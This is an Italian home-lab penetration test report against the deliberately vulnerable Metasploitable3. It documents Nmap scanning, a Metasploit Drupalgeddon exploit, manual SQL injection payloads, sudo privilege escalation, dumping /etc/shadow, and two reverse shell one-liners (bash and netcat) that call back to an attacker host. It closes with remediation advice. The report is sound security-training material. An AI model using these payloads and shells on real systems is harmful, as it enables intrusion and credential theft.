
Report di penetration test in home-lab di Metasploitable3 che copre la ricognizione Nmap, RCE Drupalgeddon, SQL injection, riutilizzo delle credenziali SSH, escalation dei privilegi sudo e reverse shell.
Autore: Arlen Fortunato
Data: Settembre 2026
Ambiente: Parrot OS (attaccante) → Metasploitable3 Ubuntu 14.04 (target)
Scope: Penetration test completo di rete — enumerazione, exploitation, privesc, post-exploitation
Tipo: Home Lab / Esercitazione Capture The Flag
⚠️ Tutte le credenziali riportate di seguito sono redatte. Si è trattato di un esercizio legale in un home lab isolato.
| Strumento | Ruolo |
|---|---|
| Nmap | Port scan, rilevamento servizi/versioni, OS fingerprint |
| Metasploit (msfconsole) | Exploitation (CVE-2014-3704), gestione sessioni |
| msfvenom | Generazione payload (reverse shell bash/netcat) |
| nc (netcat) | Listener per reverse shell |
| curl / sed | Creazione manuale di SQLi + formattazione output HTML |
| ssh / scp | Accesso remoto, validazione credenziali |
| openssl s_client | Verifica servizi TLS/SSL |
| gobuster | Directory brute-forcing (enumerazione web) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
Vulnerabilità: UnrealIRCd 3.2.8.1 è stato storicamente distribuito con un binario trojanizzato che esegue comandi arbitrari quando un client non autenticato invia una stringa trigger prima della registrazione — RCE come utente del daemon IRC.
Tentativo di exploitation: Modulo Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor con payload cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. L'auto-check del modulo ha segnalato il servizio come vulnerabile; nessuna sessione restituita con alcun payload.
Troubleshooting eseguito:
nc -vz)openssl s_client)nc ha restituito l'errore di protocollo IRC 451 — comando interpretato come comando IRC, mai eseguitoConclusione: Il banner di versione indica la build vulnerabile, ma la backdoor è assente in questa istanza (binario pulito/ricompilato). Classificato non sfruttabile — falso positivo, con evidenze.
Vulnerabilità: Drupal 7.x precedente alla 7.32 contiene una SQL injection critica nel livello di astrazione del database che consente remote code execution non autenticato.
Conferma versione: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
Exploitation:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
Risultato:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
Enumerazione post-exploitation:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16 account utenteVulnerabilità: Form di login di payroll_app.php, SQL injection nel campo password. Nessuna automazione utilizzata — creata tramite curl.
Passo 1 — Bypass dell'autenticazione:
' or 1=1#
' chiude la stringa SQL, or 1=1 forza il vero, # commenta la virgoletta finale.
Passo 2 — Conteggio colonne + mappatura visualizzazione:
' UNION SELECT null, null, null, null# -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4# -- markers: 1=Username, 2=First, 3=Last, 4=Salary
Passo 3 — Enumerazione information_schema:
| Domanda | Risposta |
|---|---|
| Versione DB / utente | MySQL 5.5.62, root@localhost |
Passo 4 — Dump (password redatte):
' UNION SELECT username, password, salary, null FROM users#
Percorso 1 — Account di default: coppia di credenziali di default vagrant autenticata via SSH → utente nel gruppo sudo con (ALL : ALL) NOPASSWD: ALL.
Percorso 2 — Riutilizzo delle credenziali: credenziali raccolte dal dump SQLi autenticate direttamente via SSH come altro utente del lab (luke_skywalker, gruppo sudo, (ALL : ALL) ALL).
Significato: dimostra il riutilizzo di credenziali tra servizi — credenziali applicative mappate su un account di sistema.
vagrant → sudo -l mostra NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).Nessun exploit locale necessario — entrambi gli account possiedono permessi sudo eccessivamente permissivi.
sudo cat /etc/shadow
Estratti 16 hash md5crypt ($1$) — raccolta completa delle credenziali post-privesc.
Payload 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Catturata su nc -lnvp 4444 → shell interattiva.
Payload 2 — netcat (named-pipe):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
Catturata su nc -lnvp 4445 → shell interattiva.
Meccanismo: la named pipe (FIFO) collega stdin/stdout di netcat a /bin/sh, formando un tunnel bidirezionale su singolo socket; la FIFO viene rimossa successivamente.
Tutti i test sono stati eseguiti esclusivamente in un home lab isolato utilizzando software intenzionalmente vulnerabile (Rapid7 Metasploitable3). Nessun sistema di produzione o target non autorizzato è stato coinvolto. Questo report è a scopo educativo e di sviluppo personale delle competenze.
| Porta | Stato | Servizio | Versione |
|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL (unauthorized) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
| # | Vulnerabilità | CVE / Tipo | Porta | Gravità | Risultato |
|---|
| 1 | Fingerprint versione UnrealIRCd — probe backdoor | CVE-2010-2075 | 6697 | ⚠️ Falso positivo | Auto-check del modulo superato, probe manuale fallito — backdoor assente nella build |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Critica | Shell Meterpreter come www-data |
| 3 | App Payroll — UNION SQLi (manuale) | Iniezione manuale | 80 | 🔴 Critica | Dump completo del DB (15 utenti, password in chiaro — redatte) |
| 4 | SSH — credenziali di default + riutilizzo | Default / riutilizzo credenziali | 22 | 🔴 Critica | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | Privilege escalation (due percorsi) | Sudo mal configurato | N/A | 🔴 Critica | root tramite entrambi gli account |
| 6 | Dump dello shadow | Post-exploitation | N/A | 🔴 Critica | 16 hash md5crypt estratti |
| 7 | Reverse shell (bash + netcat) | msfvenom / creazione manuale | 4444/4445 | 🟠 Alta | Shell interattive catturate sul listener dell'attaccante |
| Database | information_schema, drupal, mysql, payroll, performance_schema |
Tabelle in payroll | users |
Colonne in users | username, first_name, last_name, password, salary |
| Username | Password | Salary |
|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 altri account) | [REDACTED] | — |
| Vulnerabilità | Raccomandazione |
|---|
| Fingerprint versione UnrealIRCd | Verificare l'integrità della sorgente del binario (checksum); aggiornare o rimuovere |
| Drupal 7.5 | Aggiornare all'ultima versione stabile; applicare SA-CORE-2014-005 |
| SQLi Payroll | Query parametrizzate / prepared statement; validare l'input |
| Credenziali SSH di default | Ruotare/rimuovere gli account di default; imporre autenticazione basata su chiave |
| Sudo con privilegi eccessivi | Applicare il principio del minimo privilegio; rimuovere le concessioni NOPASSWD indiscriminate |
| Riutilizzo delle credenziali | Imporre password uniche per servizio; policy sulle password |
| Hashing debole delle password | Migrare da md5crypt → bcrypt / Argon2id |